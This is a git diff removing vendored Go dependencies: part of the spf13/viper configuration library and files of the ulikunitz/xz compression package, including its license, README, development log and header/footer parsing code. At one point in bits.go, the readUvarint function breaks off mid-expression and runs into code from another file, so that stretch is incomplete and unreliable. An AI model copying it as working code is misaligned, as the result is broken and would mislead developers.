an unexported function. -func unmarshalReader(in io.Reader, c map[string]interface{}) error { - return v.unmarshalReader(in, c) -} - -func (v *Viper) unmarshalReader(in io.Reader, c map[string]interface{}) error { - return unmarshallConfigReader(in, c, v.getConfigType()) -} - -func (v *Viper) insensitiviseMaps() { - insensitiviseMap(v.config) - insensitiviseMap(v.defaults) - insensitiviseMap(v.override) - insensitiviseMap(v.kvstore) -} - -// Retrieve the first found remote configuration. -func (v *Viper) getKeyValueConfig() error { - if RemoteConfig == nil { - return RemoteConfigError("Enable the remote features by doing a blank import of the viper/remote package: '_ github.com/spf13/viper/remote'") - } - - for _, rp := range v.remoteProviders { - val, err := v.getRemoteConfig(rp) - if err != nil { - continue - } - v.kvstore = val - return nil - } - return RemoteConfigError("No Files Found") -} - -func (v *Viper) getRemoteConfig(provider RemoteProvider) (map[string]interface{}, error) { - reader, err := RemoteConfig.Get(provider) - if err != nil { - return nil, err - } - err = v.unmarshalReader(reader, v.kvstore) - return v.kvstore, err -} - -// Retrieve the first found remote configuration. -func (v *Viper) watchKeyValueConfigOnChannel() error { - for _, rp := range v.remoteProviders { - respc, _ := RemoteConfig.WatchChannel(rp) - //Todo: Add quit channel - go func(rc <-chan *RemoteResponse) { - for { - b := <-rc - reader := bytes.NewReader(b.Value) - v.unmarshalReader(reader, v.kvstore) - } - }(respc) - return nil - } - return RemoteConfigError("No Files Found") -} - -// Retrieve the first found remote configuration. -func (v *Viper) watchKeyValueConfig() error { - for _, rp := range v.remoteProviders { - val, err := v.watchRemoteConfig(rp) - if err != nil { - continue - } - v.kvstore = val - return nil - } - return RemoteConfigError("No Files Found") -} - -func (v *Viper) watchRemoteConfig(provider RemoteProvider) (map[string]interface{}, error) { - reader, err := RemoteConfig.Watch(provider) - if err != nil { - return nil, err - } - err = v.unmarshalReader(reader, v.kvstore) - return v.kvstore, err -} - -// AllKeys returns all keys holding a value, regardless of where they are set. -// Nested keys are returned with a v.keyDelim (= ".") separator -func AllKeys() []string { return v.AllKeys() } -func (v *Viper) AllKeys() []string { - m := map[string]bool{} - // add all paths, by order of descending priority to ensure correct shadowing - m = v.flattenAndMergeMap(m, castMapStringToMapInterface(v.aliases), "") - m = v.flattenAndMergeMap(m, v.override, "") - m = v.mergeFlatMap(m, castMapFlagToMapInterface(v.pflags)) - m = v.mergeFlatMap(m, castMapStringToMapInterface(v.env)) - m = v.flattenAndMergeMap(m, v.config, "") - m = v.flattenAndMergeMap(m, v.kvstore, "") - m = v.flattenAndMergeMap(m, v.defaults, "") - - // convert set of paths to list - a := []string{} - for x := range m { - a = append(a, x) - } - return a -} - -// flattenAndMergeMap recursively flattens the given map into a map[string]bool -// of key paths (used as a set, easier to manipulate than a []string): -// - each path is merged into a single key string, delimited with v.keyDelim (= ".") -// - if a path is shadowed by an earlier value in the initial shadow map, -// it is skipped. -// The resulting set of paths is merged to the given shadow set at the same time. -func (v *Viper) flattenAndMergeMap(shadow map[string]bool, m map[string]interface{}, prefix string) map[string]bool { - if shadow != nil && prefix != "" && shadow[prefix] { - // prefix is shadowed => nothing more to flatten - return shadow - } - if shadow == nil { - shadow = make(map[string]bool) - } - - var m2 map[string]interface{} - if prefix != "" { - prefix += v.keyDelim - } - for k, val := range m { - fullKey := prefix + k - switch val.(type) { - case map[string]interface{}: - m2 = val.(map[string]interface{}) - case map[interface{}]interface{}: - m2 = cast.ToStringMap(val) - default: - // immediate value - shadow[strings.ToLower(fullKey)] = true - continue - } - // recursively merge to shadow map - shadow = v.flattenAndMergeMap(shadow, m2, fullKey) - } - return shadow -} - -// mergeFlatMap merges the given maps, excluding values of the second map -// shadowed by values from the first map. -func (v *Viper) mergeFlatMap(shadow map[string]bool, m map[string]interface{}) map[string]bool { - // scan keys -outer: - for k, _ := range m { - path := strings.Split(k, v.keyDelim) - // scan intermediate paths - var parentKey string - for i := 1; i < len(path); i++ { - parentKey = strings.Join(path[0:i], v.keyDelim) - if shadow[parentKey] { - // path is shadowed, continue - continue outer - } - } - // add key - shadow[strings.ToLower(k)] = true - } - return shadow -} - -// AllSettings merges all settings and returns them as a map[string]interface{}. -func AllSettings() map[string]interface{} { return v.AllSettings() } -func (v *Viper) AllSettings() map[string]interface{} { - m := map[string]interface{}{} - // start from the list of keys, and construct the map one value at a time - for _, k := range v.AllKeys() { - value := v.Get(k) - if value == nil { - // should not happen, since AllKeys() returns only keys holding a value, - // check just in case anything changes - continue - } - path := strings.Split(k, v.keyDelim) - lastKey := strings.ToLower(path[len(path)-1]) - deepestMap := deepSearch(m, path[0:len(path)-1]) - // set innermost value - deepestMap[lastKey] = value - } - return m -} - -// SetFs sets the filesystem to use to read configuration. -func SetFs(fs afero.Fs) { v.SetFs(fs) } -func (v *Viper) SetFs(fs afero.Fs) { - v.fs = fs -} - -// SetConfigName sets name for the config file. -// Does not include extension. -func SetConfigName(in string) { v.SetConfigName(in) } -func (v *Viper) SetConfigName(in string) { - if in != "" { - v.configName = in - v.configFile = "" - } -} - -// SetConfigType sets the type of the configuration returned by the -// remote source, e.g. "json". -func SetConfigType(in string) { v.SetConfigType(in) } -func (v *Viper) SetConfigType(in string) { - if in != "" { - v.configType = in - } -} - -func (v *Viper) getConfigType() string { - if v.configType != "" { - return v.configType - } - - cf, err := v.getConfigFile() - if err != nil { - return "" - } - - ext := filepath.Ext(cf) - - if len(ext) > 1 { - return ext[1:] - } - - return "" -} - -func (v *Viper) getConfigFile() (string, error) { - // if explicitly set, then use it - if v.configFile != "" { - return v.configFile, nil - } - - cf, err := v.findConfigFile() - if err != nil { - return "", err - } - - v.configFile = cf - return v.getConfigFile() -} - -func (v *Viper) searchInPath(in string) (filename string) { - jww.DEBUG.Println("Searching for config in ", in) - for _, ext := range SupportedExts { - jww.DEBUG.Println("Checking for", filepath.Join(in, v.configName+"."+ext)) - if b, _ := exists(filepath.Join(in, v.configName+"."+ext)); b { - jww.DEBUG.Println("Found: ", filepath.Join(in, v.configName+"."+ext)) - return filepath.Join(in, v.configName+"."+ext) - } - } - - return "" -} - -// Search all configPaths for any config file. -// Returns the first path that exists (and is a config file). -func (v *Viper) findConfigFile() (string, error) { - jww.INFO.Println("Searching for config in ", v.configPaths) - - for _, cp := range v.configPaths { - file := v.searchInPath(cp) - if file != "" { - return file, nil - } - } - return "", ConfigFileNotFoundError{v.configName, fmt.Sprintf("%s", v.configPaths)} -} - -// Debug prints all configuration registries for debugging -// purposes. -func Debug() { v.Debug() } -func (v *Viper) Debug() { - fmt.Printf("Aliases:\n%#v\n", v.aliases) - fmt.Printf("Override:\n%#v\n", v.override) - fmt.Printf("PFlags:\n%#v\n", v.pflags) - fmt.Printf("Env:\n%#v\n", v.env) - fmt.Printf("Key/Value Store:\n%#v\n", v.kvstore) - fmt.Printf("Config:\n%#v\n", v.config) - fmt.Printf("Defaults:\n%#v\n", v.defaults) -} diff --git a/vendor/github.com/ulikunitz/xz/.gitignore b/vendor/github.com/ulikunitz/xz/.gitignore deleted file mode 100644 index e3c2fc2f1d..0000000000 --- a/vendor/github.com/ulikunitz/xz/.gitignore +++ /dev/null @@ -1,25 +0,0 @@ -# .gitignore - -TODO.html -README.html - -lzma/writer.txt -lzma/reader.txt - -cmd/gxz/gxz -cmd/xb/xb - -# test executables -*.test - -# profile files -*.out - -# vim swap file -.*.swp - -# executables on windows -*.exe - -# default compression test file -enwik8* diff --git a/vendor/github.com/ulikunitz/xz/LICENSE b/vendor/github.com/ulikunitz/xz/LICENSE deleted file mode 100644 index 58ebdc162f..0000000000 --- a/vendor/github.com/ulikunitz/xz/LICENSE +++ /dev/null @@ -1,26 +0,0 @@ -Copyright (c) 2014-2016 Ulrich Kunitz -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* My name, Ulrich Kunitz, may not be used to endorse or promote products - derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/ulikunitz/xz/README.md b/vendor/github.com/ulikunitz/xz/README.md deleted file mode 100644 index 0a2dc8284f..0000000000 --- a/vendor/github.com/ulikunitz/xz/README.md +++ /dev/null @@ -1,73 +0,0 @@ -# Package xz - -This Go language package supports the reading and writing of xz -compressed streams. It includes also a gxz command for compressing and -decompressing data. The package is completely written in Go and doesn't -have any dependency on any C code. - -The package is currently under development. There might be bugs and APIs -are not considered stable. At this time the package cannot compete with -the xz tool regarding compression speed and size. The algorithms there -have been developed over a long time and are highly optimized. However -there are a number of improvements planned and I'm very optimistic about -parallel compression and decompression. Stay tuned! - -## Using the API - -The following example program shows how to use the API. - -```go -package main - -import ( - "bytes" - "io" - "log" - "os" - - "github.com/ulikunitz/xz" -) - -func main() { - const text = "The quick brown fox jumps over the lazy dog.\n" - var buf bytes.Buffer - // compress text - w, err := xz.NewWriter(&buf) - if err != nil { - log.Fatalf("xz.NewWriter error %s", err) - } - if _, err := io.WriteString(w, text); err != nil { - log.Fatalf("WriteString error %s", err) - } - if err := w.Close(); err != nil { - log.Fatalf("w.Close error %s", err) - } - // decompress buffer and write output to stdout - r, err := xz.NewReader(&buf) - if err != nil { - log.Fatalf("NewReader error %s", err) - } - if _, err = io.Copy(os.Stdout, r); err != nil { - log.Fatalf("io.Copy error %s", err) - } -} -``` - -## Using the gxz compression tool - -The package includes a gxz command line utility for compression and -decompression. - -Use following command for installation: - - $ go get github.com/ulikunitz/xz/cmd/gxz - -To test it call the following command. - - $ gxz bigfile - -After some time a much smaller file bigfile.xz will replace bigfile. -To decompress it use the following command. - - $ gxz -d bigfile.xz - diff --git a/vendor/github.com/ulikunitz/xz/TODO.md b/vendor/github.com/ulikunitz/xz/TODO.md deleted file mode 100644 index 1be3bb845b..0000000000 --- a/vendor/github.com/ulikunitz/xz/TODO.md +++ /dev/null @@ -1,323 +0,0 @@ -# TODO list - -## Release v0.6 - -1. Review encoder and check for lzma improvements under xz. -2. Fix binary tree matcher. -3. Compare compression ratio with xz tool using comparable parameters - and optimize parameters -4. Do some optimizations - - rename operation action and make it a simple type of size 8 - - make maxMatches, wordSize parameters - - stop searching after a certain length is found (parameter sweetLen) - -## Release v0.7 - -1. Optimize code -2. Do statistical analysis to get linear presets. -3. Test sync.Pool compatability for xz and lzma Writer and Reader -3. Fuzz optimized code. - -## Release v0.8 - -1. Support parallel go routines for writing and reading xz files. -2. Support a ReaderAt interface for xz files with small block sizes. -3. Improve compatibility between gxz and xz -4. Provide manual page for gxz - -## Release v0.9 - -1. Improve documentation -2. Fuzz again - -## Release v1.0 - -1. Full functioning gxz -2. Add godoc URL to README.md (godoc.org) -3. Resolve all issues. -4. Define release candidates. -5. Public announcement. - -## Package lzma - -### Release v0.6 - -- Rewrite Encoder into a simple greedy one-op-at-a-time encoder - including - + simple scan at the dictionary head for the same byte - + use the killer byte (requiring matches to get longer, the first - test should be the byte that would make the match longer) - - -## Optimizations - -- There may be a lot of false sharing in lzma.State; check whether this - can be improved by reorganizing the internal structure of it. -- Check whether batching encoding and decoding improves speed. - -### DAG optimizations - -- Use full buffer to create minimal bit-length above range encoder. -- Might be too slow (see v0.4) - -### Different match finders - -- hashes with 2, 3 characters additional to 4 characters -- binary trees with 2-7 characters (uint64 as key, use uint32 as - pointers into a an array) -- rb-trees with 2-7 characters (uint64 as key, use uint32 as pointers - into an array with bit-steeling for the colors) - -## Release Procedure - -- execute goch -l for all packages; probably with lower param like 0.5. -- check orthography with gospell -- Write release notes in doc/relnotes. -- Update README.md -- xb copyright . in xz directory to ensure all new files have Copyright - header -- VERSION= go generate github.com/ulikunitz/xz/... to update - version files -- Execute test for Linux/amd64, Linux/x86 and Windows/amd64. -- Update TODO.md - write short log entry -- git checkout master && git merge dev -- git tag -a -- git push - -## Log - -### 2019-02-20 - -Release v0.5.6 supports the go.mod file. - -### 2018-10-28 - -Release v0.5.5 fixes issues #19 observing ErrLimit outputs. - -### 2017-06-05 - -Release v0.5.4 fixes issues #15 of another problem with the padding size -check for the xz block header. I removed the check completely. - -### 2017-02-15 - -Release v0.5.3 fixes issue #12 regarding the decompression of an empty -XZ stream. Many thanks to Tomasz Kłak, who reported the issue. - -### 2016-12-02 - -Release v0.5.2 became necessary to allow the decoding of xz files with -4-byte padding in the block header. Many thanks to Greg, who reported -the issue. - -### 2016-07-23 - -Release v0.5.1 became necessary to fix problems with 32-bit platforms. -Many thanks to Bruno Brigas, who reported the issue. - -### 2016-07-04 - -Release v0.5 provides improvements to the compressor and provides support for -the decompression of xz files with multiple xz streams. - -### 2016-01-31 - -Another compression rate increase by checking the byte at length of the -best match first, before checking the whole prefix. This makes the -compressor even faster. We have now a large time budget to beat the -compression ratio of the xz tool. For enwik8 we have now over 40 seconds -to reduce the compressed file size for another 7 MiB. - -### 2016-01-30 - -I simplified the encoder. Speed and compression rate increased -dramatically. A high compression rate affects also the decompression -speed. The approach with the buffer and optimizing for operation -compression rate has not been successful. Going for the maximum length -appears to be the best approach. - -### 2016-01-28 - -The release v0.4 is ready. It provides a working xz implementation, -which is rather slow, but works and is interoperable with the xz tool. -It is an important milestone. - -### 2016-01-10 - -I have the first working implementation of an xz reader and writer. I'm -happy about reaching this milestone. - -### 2015-12-02 - -I'm now ready to implement xz because, I have a working LZMA2 -implementation. I decided today that v0.4 will use the slow encoder -using the operations buffer to be able to go back, if I intend to do so. - -### 2015-10-21 - -I have restarted the work on the library. While trying to implement -LZMA2, I discovered that I need to resimplify the encoder and decoder -functions. The option approach is too complicated. Using a limited byte -writer and not caring for written bytes at all and not to try to handle -uncompressed data simplifies the LZMA encoder and decoder much. -Processing uncompressed data and handling limits is a feature of the -LZMA2 format not of LZMA. - -I learned an interesting method from the LZO format. If the last copy is -too far away they are moving the head one 2 bytes and not 1 byte to -reduce processing times. - -### 2015-08-26 - -I have now reimplemented the lzma package. The code is reasonably fast, -but can still be optimized. The next step is to implement LZMA2 and then -xz. - -### 2015-07-05 - -Created release v0.3. The version is the foundation for a full xz -implementation that is the target of v0.4. - -### 2015-06-11 - -The gflag package has been developed because I couldn't use flag and -pflag for a fully compatible support of gzip's and lzma's options. It -seems to work now quite nicely. - -### 2015-06-05 - -The overflow issue was interesting to research, however Henry S. Warren -Jr. Hacker's Delight book was very helpful as usual and had the issue -explained perfectly. Fefe's information on his website was based on the -C FAQ and quite bad, because it didn't address the issue of -MININT == -MININT. - -### 2015-06-04 - -It has been a productive day. I improved the interface of lzma.Reader -and lzma.Writer and fixed the error handling. - -### 2015-06-01 - -By computing the bit length of the LZMA operations I was able to -improve the greedy algorithm implementation. By using an 8 MByte buffer -the compression rate was not as good as for xz but already better then -gzip default. - -Compression is currently slow, but this is something we will be able to -improve over time. - -### 2015-05-26 - -Checked the license of ogier/pflag. The binary lzmago binary should -include the license terms for the pflag library. - -I added the endorsement clause as used by Google for the Go sources the -LICENSE file. - -### 2015-05-22 - -The package lzb contains now the basic implementation for creating or -reading LZMA byte streams. It allows the support for the implementation -of the DAG-shortest-path algorithm for the compression function. - -### 2015-04-23 - -Completed yesterday the lzbase classes. I'm a little bit concerned that -using the components may require too much code, but on the other hand -there is a lot of flexibility. - -### 2015-04-22 - -Implemented Reader and Writer during the Bayern game against Porto. The -second half gave me enough time. - -### 2015-04-21 - -While showering today morning I discovered that the design for OpEncoder -and OpDecoder doesn't work, because encoding/decoding might depend on -the current status of the dictionary. This is not exactly the right way -to start the day. - -Therefore we need to keep the Reader and Writer design. This time around -we simplify it by ignoring size limits. These can be added by wrappers -around the Reader and Writer interfaces. The Parameters type isn't -needed anymore. - -However I will implement a ReaderState and WriterState type to use -static typing to ensure the right State object is combined with the -right lzbase.Reader and lzbase.Writer. - -As a start I have implemented ReaderState and WriterState to ensure -that the state for reading is only used by readers and WriterState only -used by Writers. - -### 2015-04-20 - -Today I implemented the OpDecoder and tested OpEncoder and OpDecoder. - -### 2015-04-08 - -Came up with a new simplified design for lzbase. I implemented already -the type State that replaces OpCodec. - -### 2015-04-06 - -The new lzma package is now fully usable and lzmago is using it now. The -old lzma package has been completely removed. - -### 2015-04-05 - -Implemented lzma.Reader and tested it. - -### 2015-04-04 - -Implemented baseReader by adapting code form lzma.Reader. - -### 2015-04-03 - -The opCodec has been copied yesterday to lzma2. opCodec has a high -number of dependencies on other files in lzma2. Therefore I had to copy -almost all files from lzma. - -### 2015-03-31 - -Removed only a TODO item. - -However in Francesco Campoy's presentation "Go for Javaneros -(Javaïstes?)" is the the idea that using an embedded field E, all the -methods of E will be defined on T. If E is an interface T satisfies E. - -https://talks.golang.org/2014/go4java.slide#51 - -I have never used this, but it seems to be a cool idea. - -### 2015-03-30 - -Finished the type writerDict and wrote a simple test. - -### 2015-03-25 - -I started to implement the writerDict. - -### 2015-03-24 - -After thinking long about the LZMA2 code and several false starts, I -have now a plan to create a self-sufficient lzma2 package that supports -the classic LZMA format as well as LZMA2. The core idea is to support a -baseReader and baseWriter type that support the basic LZMA stream -without any headers. Both types must support the reuse of dictionaries -and the opCodec. - -### 2015-01-10 - -1. Implemented simple lzmago tool -2. Tested tool against large 4.4G file - - compression worked correctly; tested decompression with lzma - - decompression hits a full buffer condition -3. Fixed a bug in the compressor and wrote a test for it -4. Executed full cycle for 4.4 GB file; performance can be improved ;-) - -### 2015-01-11 - -- Release v0.2 because of the working LZMA encoder and decoder diff --git a/vendor/github.com/ulikunitz/xz/bits.go b/vendor/github.com/ulikunitz/xz/bits.go deleted file mode 100644 index fadc1a5944..0000000000 --- a/vendor/github.com/ulikunitz/xz/bits.go +++ /dev/null @@ -1,74 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package xz - -import ( - "errors" - "io" -) - -// putUint32LE puts the little-endian representation of x into the first -// four bytes of p. -func putUint32LE(p []byte, x uint32) { - p[0] = byte(x) - p[1] = byte(x >> 8) - p[2] = byte(x >> 16) - p[3] = byte(x >> 24) -} - -// putUint64LE puts the little-endian representation of x into the first -// eight bytes of p. -func putUint64LE(p []byte, x uint64) { - p[0] = byte(x) - p[1] = byte(x >> 8) - p[2] = byte(x >> 16) - p[3] = byte(x >> 24) - p[4] = byte(x >> 32) - p[5] = byte(x >> 40) - p[6] = byte(x >> 48) - p[7] = byte(x >> 56) -} - -// uint32LE converts a little endian representation to an uint32 value. -func uint32LE(p []byte) uint32 { - return uint32(p[0]) | uint32(p[1])<<8 | uint32(p[2])<<16 | - uint32(p[3])<<24 -} - -// putUvarint puts a uvarint representation of x into the byte slice. -func putUvarint(p []byte, x uint64) int { - i := 0 - for x >= 0x80 { - p[i] = byte(x) | 0x80 - x >>= 7 - i++ - } - p[i] = byte(x) - return i + 1 -} - -// errOverflow indicates an overflow of the 64-bit unsigned integer. -var errOverflowU64 = errors.New("xz: uvarint overflows 64-bit unsigned integer") - -// readUvarint reads a uvarint from the given byte reader. -func readUvarint(r io.ByteReader) (x uint64, n int, err error) { - var s uint - i := 0 - for { - b, err := r.ReadByte() - if err != nil { - return x, i, err - } - i++ - if b < 0x80 { - if i > 10 || i == 10 && b > 1 { - return x, i, errOverflowU64 - } - return x | uint64(b)< 0 { - k = 4 - k - } - return k -} - -/*** Header ***/ - -// headerMagic stores the magic bytes for the header -var headerMagic = []byte{0xfd, '7', 'z', 'X', 'Z', 0x00} - -// HeaderLen provides the length of the xz file header. -const HeaderLen = 12 - -// Constants for the checksum methods supported by xz. -const ( - CRC32 byte = 0x1 - CRC64 = 0x4 - SHA256 = 0xa -) - -// errInvalidFlags indicates that flags are invalid. -var errInvalidFlags = errors.New("xz: invalid flags") - -// verifyFlags returns the error errInvalidFlags if the value is -// invalid. -func verifyFlags(flags byte) error { - switch flags { - case CRC32, CRC64, SHA256: - return nil - default: - return errInvalidFlags - } -} - -// flagstrings maps flag values to strings. -var flagstrings = map[byte]string{ - CRC32: "CRC-32", - CRC64: "CRC-64", - SHA256: "SHA-256", -} - -// flagString returns the string representation for the given flags. -func flagString(flags byte) string { - s, ok := flagstrings[flags] - if !ok { - return "invalid" - } - return s -} - -// newHashFunc returns a function that creates hash instances for the -// hash method encoded in flags. -func newHashFunc(flags byte) (newHash func() hash.Hash, err error) { - switch flags { - case CRC32: - newHash = newCRC32 - case CRC64: - newHash = newCRC64 - case SHA256: - newHash = sha256.New - default: - err = errInvalidFlags - } - return -} - -// header provides the actual content of the xz file header: the flags. -type header struct { - flags byte -} - -// Errors returned by readHeader. -var errHeaderMagic = errors.New("xz: invalid header magic bytes") - -// ValidHeader checks whether data is a correct xz file header. The -// length of data must be HeaderLen. -func ValidHeader(data []byte) bool { - var h header - err := h.UnmarshalBinary(data) - return err == nil -} - -// String returns a string representation of the flags. -func (h header) String() string { - return flagString(h.flags) -} - -// UnmarshalBinary reads header from the provided data slice. -func (h *header) UnmarshalBinary(data []byte) error { - // header length - if len(data) != HeaderLen { - return errors.New("xz: wrong file header length") - } - - // magic header - if !bytes.Equal(headerMagic, data[:6]) { - return errHeaderMagic - } - - // checksum - crc := crc32.NewIEEE() - crc.Write(data[6:8]) - if uint32LE(data[8:]) != crc.Sum32() { - return errors.New("xz: invalid checksum for file header") - } - - // stream flags - if data[6] != 0 { - return errInvalidFlags - } - flags := data[7] - if err := verifyFlags(flags); err != nil { - return err - } - - h.flags = flags - return nil -} - -// MarshalBinary generates the xz file header. -func (h *header) MarshalBinary() (data []byte, err error) { - if err = verifyFlags(h.flags); err != nil { - return nil, err - } - - data = make([]byte, 12) - copy(data, headerMagic) - data[7] = h.flags - - crc := crc32.NewIEEE() - crc.Write(data[6:8]) - putUint32LE(data[8:], crc.Sum32()) - - return data, nil -} - -/*** Footer ***/ - -// footerLen defines the length of the footer. -const footerLen = 12 - -// footerMagic contains the footer magic bytes. -var footerMagic = []byte{'Y', 'Z'} - -// footer represents the content of the xz file footer. -type footer struct { - indexSize int64 - flags byte -} - -// String prints a string representation of the footer structure. -func (f footer) String() string { - return fmt.Sprintf("%s index size %d", flagString(f.flags), f.indexSize) -} - -// Minimum and maximum for the size of the index (backward size). -const ( - minIndexSize = 4 - maxIndexSize = (1 << 32) * 4 -) - -// MarshalBinary converts footer values into an xz file footer. Note -// that the footer value is checked for correctness. -func (f *footer) MarshalBinary() (data []byte, err error) { - if err = verifyFlags(f.flags); err != nil { - return nil, err - } - if !(minIndexSize <= f.indexSize && f.indexSize <= maxIndexSize) { - return nil, errors.New("xz: index size out of range") - } - if f.indexSize%4 != 0 { - return nil, errors.New( - "xz: index size not aligned to four bytes") - } - - data = make([]byte, footerLen) - - // backward size (index size) - s := (f.indexSize / 4) - 1 - putUint32LE(data[4:], uint32(s)) - // flags - data[9] = f.flags - // footer magic - copy(data[10:], footerMagic) - - // CRC-32 - crc := crc32.NewIEEE() - crc.Write(data[4:10]) - putUint32LE(data, crc.Sum32()) - - return data, nil -} - -// UnmarshalBinary sets the footer value by unmarshalling an xz file -// footer. -func (f *footer) UnmarshalBinary(data []byte) error { - if len(data) != footerLen { - return errors.New("xz: wrong footer length") - } - - // magic bytes - if !bytes.Equal(data[10:], footerMagic) { - return errors.New("xz: footer magic invalid") - } - - // CRC-32 - crc := crc32.NewIEEE() - crc.Write(data[4:10]) - if uint32LE(data) != crc.Sum32() { - return errors.New("xz: footer checksum error") - } - - var g footer - // backward size (index size) - g.indexSize = (int64(uint32LE(data[4:])) + 1) * 4 - - // flags - if data[8] != 0 { - return errInvalidFlags - } - g.flags = data[9] - if err := verifyFlags(g.flags); err != nil { - return err - } - - *f = g - return nil -} - -/*** Block Header ***/ - -// blockHeader represents the content of an xz block header. -type blockHeader struct { - compressedSize int64 - uncompressedSize int64 - filters []filter -} - -// String converts the block header into a string. -func (h blockHeader) String() string { - var buf bytes.Buffer - first := true - if h.compressedSize >= 0 { - fmt.Fprintf(&buf, "compressed size %d", h.compressedSize) - first = false - } - if h.uncompressedSize >= 0 { - if !first { - buf.WriteString(" ") - } - fmt.Fprintf(&buf, "uncompressed size %d", h.uncompressedSize) - first = false - } - for _, f := range h.filters { - if !first { - buf.WriteString(" ") - } - fmt.Fprintf(&buf, "filter %s", f) - first = false - } - return buf.String() -} - -// Masks for the block flags. -const ( - filterCountMask = 0x03 - compressedSizePresent = 0x40 - uncompressedSizePresent = 0x80 - reservedBlockFlags = 0x3C -) - -// errIndexIndicator signals that an index indicator (0x00) has been found -// instead of an expected block header indicator. -var errIndexIndicator = errors.New("xz: found index indicator") - -// readBlockHeader reads the block header. -func readBlockHeader(r io.Reader) (h *blockHeader, n int, err error) { - var buf bytes.Buffer - buf.Grow(20) - - // block header size - z, err := io.CopyN(&buf, r, 1) - n = int(z) - if err != nil { - return nil, n, err - } - s := buf.Bytes()[0] - if s == 0 { - return nil, n, errIndexIndicator - } - - // read complete header - headerLen := (int(s) + 1) * 4 - buf.Grow(headerLen - 1) - z, err = io.CopyN(&buf, r, int64(headerLen-1)) - n += int(z) - if err != nil { - return nil, n, err - } - - // unmarshal block header - h = new(blockHeader) - if err = h.UnmarshalBinary(buf.Bytes()); err != nil { - return nil, n, err - } - - return h, n, nil -} - -// readSizeInBlockHeader reads the uncompressed or compressed size -// fields in the block header. The present value informs the function -// whether the respective field is actually present in the header. -func readSizeInBlockHeader(r io.ByteReader, present bool) (n int64, err error) { - if !present { - return -1, nil - } - x, _, err := readUvarint(r) - if err != nil { - return 0, err - } - if x >= 1<<63 { - return 0, errors.New("xz: size overflow in block header") - } - return int64(x), nil -} - -// UnmarshalBinary unmarshals the block header. -func (h *blockHeader) UnmarshalBinary(data []byte) error { - // Check header length - s := data[0] - if data[0] == 0 { - return errIndexIndicator - } - headerLen := (int(s) + 1) * 4 - if len(data) != headerLen { - return fmt.Errorf("xz: data length %d; want %d", len(data), - headerLen) - } - n := headerLen - 4 - - // Check CRC-32 - crc := crc32.NewIEEE() - crc.Write(data[:n]) - if crc.Sum32() != uint32LE(data[n:]) { - return errors.New("xz: checksum error for block header") - } - - // Block header flags - flags := data[1] - if flags&reservedBlockFlags != 0 { - return errors.New("xz: reserved block header flags set") - } - - r := bytes.NewReader(data[2:n]) - - // Compressed size - var err error - h.compressedSize, err = readSizeInBlockHeader( - r, flags&compressedSizePresent != 0) - if err != nil { - return err - } - - // Uncompressed size - h.uncompressedSize, err = readSizeInBlockHeader( - r, flags&uncompressedSizePresent != 0) - if err != nil { - return err - } - - h.filters, err = readFilters(r, int(flags&filterCountMask)+1) - if err != nil { - return err - } - - // Check padding - // Since headerLen is a multiple of 4 we don't need to check - // alignment. - k := r.Len() - // The standard spec says that the padding should have not more - // than 3 bytes. However we found paddings of 4 or 5 in the - // wild. See https://github.com/ulikunitz/xz/pull/11 and - // https://github.com/ulikunitz/xz/issues/15 - // - // The only reasonable approach seems to be to ignore the - // padding size. We still check that all padding bytes are zero. - if !allZeros(data[n-k : n]) { - return errPadding - } - return nil -} - -// MarshalBinary marshals the binary header. -func (h *blockHeader) MarshalBinary() (data []byte, err error) { - if !(minFilters <= len(h.filters) && len(h.filters) <= maxFilters) { - return nil, errors.New("xz: filter count wrong") - } - for i, f := range h.filters { - if i < len(h.filters)-1 { - if f.id() == lzmaFilterID { - return nil, errors.New( - "xz: LZMA2 filter is not the last") - } - } else { - // last filter - if f.id() != lzmaFilterID { - return nil, errors.New("xz: " + - "last filter must be the LZMA2 filter") - } - } - } - - var buf bytes.Buffer - // header size must set at the end - buf.WriteByte(0) - - // flags - flags := byte(len(h.filters) - 1) - if h.compressedSize >= 0 { - flags |= compressedSizePresent - } - if h.uncompressedSize >= 0 { - flags |= uncompressedSizePresent - } - buf.WriteByte(flags) - - p := make([]byte, 10) - if h.compressedSize >= 0 { - k := putUvarint(p, uint64(h.compressedSize)) - buf.Write(p[:k]) - } - if h.uncompressedSize >= 0 { - k := putUvarint(p, uint64(h.uncompressedSize)) - buf.Write(p[:k]) - } - - for _, f := range h.filters { - fp, err := f.MarshalBinary() - if err != nil { - return nil, err - } - buf.Write(fp) - } - - // padding - for i := padLen(int64(buf.Len())); i > 0; i-- { - buf.WriteByte(0) - } - - // crc place holder - buf.Write(p[:4]) - - data = buf.Bytes() - if len(data)%4 != 0 { - panic("data length not aligned") - } - s := len(data)/4 - 1 - if !(1 < s && s <= 255) { - panic("wrong block header size") - } - data[0] = byte(s) - - crc := crc32.NewIEEE() - crc.Write(data[:len(data)-4]) - putUint32LE(data[len(data)-4:], crc.Sum32()) - - return data, nil -} - -// Constants used for marshalling and unmarshalling filters in the xz -// block header. -const ( - minFilters = 1 - maxFilters = 4 - minReservedID = 1 << 62 -) - -// filter represents a filter in the block header. -type filter interface { - id() uint64 - UnmarshalBinary(data []byte) error - 